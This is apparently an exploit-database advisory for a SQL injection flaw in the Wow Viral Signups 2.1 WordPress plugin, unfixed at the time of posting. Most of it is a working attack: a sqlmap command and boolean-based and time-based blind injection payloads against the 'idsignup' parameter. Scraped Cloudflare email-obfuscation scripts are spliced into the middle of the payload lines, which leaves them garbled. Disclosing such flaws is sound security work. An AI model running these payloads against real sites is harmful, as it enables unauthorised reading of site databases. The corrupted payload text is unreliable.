WordPress Plugin Wow Viral Signups 2.1 - SQL Injection

2017-04-25 20:05:07

# Exploit Title: Wow Viral Signups v2.1 WordPress Plugin SQL Injection
# Date: 29/03/2017
# Exploit Author: TAD GROUP
# Vendor Homepage: http://wow-company.com/
# Software Link: https://wordpress.org/plugins/mwp-viral-signup/
# Version: 2.1
# Contact: <a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="056c6b636a457164612b6762">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>
# Website: https://tad.bg <https://tad.bg>
# Category: Web Application Exploits

1. Description

An unescaped parameter was found in Wow Viral Signups v2.1 (WP plugin). An attacker can exploit this vulnerability to read from the database.
The POST parameter 'idsignup' is vulnerable.

2. Proof of concept

sqlmap -u "http://server/wp-admin/admin-ajax.php" --data "action=mwp_signup_send&[email protected]&hvost=?page_id=47&idsignup=1" --dbs --threads=10 --random-agent --dbms mysql

Parameter: idsignup (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=mwp_signup_send&<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="ceaba3afa7a2f3898780898e838f8782e09c9b">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>&hvost=?page_id=47&idsignup=1 AND 5272=5272

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: action=mwp_signup_send&<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="52373f333b3e6f151b1c15121f131b1e7c0007">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>&hvost=?page_id=47&idsignup=1 AND (SELECT * FROM (SELECT(SLEEP(5)))hXXu)

3. Attack outcome:

An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.

4. Impact

Critical

5. Affected versions

<= 2.1

6. Disclosure timeline

15-Mar-2017 - found the vulnerability
15-Mar-2017 - informed the developer
29-Mar-2017 - release date of this security advisory

Not fixed at the date of submitting this exploit.

Fixes

No fixes

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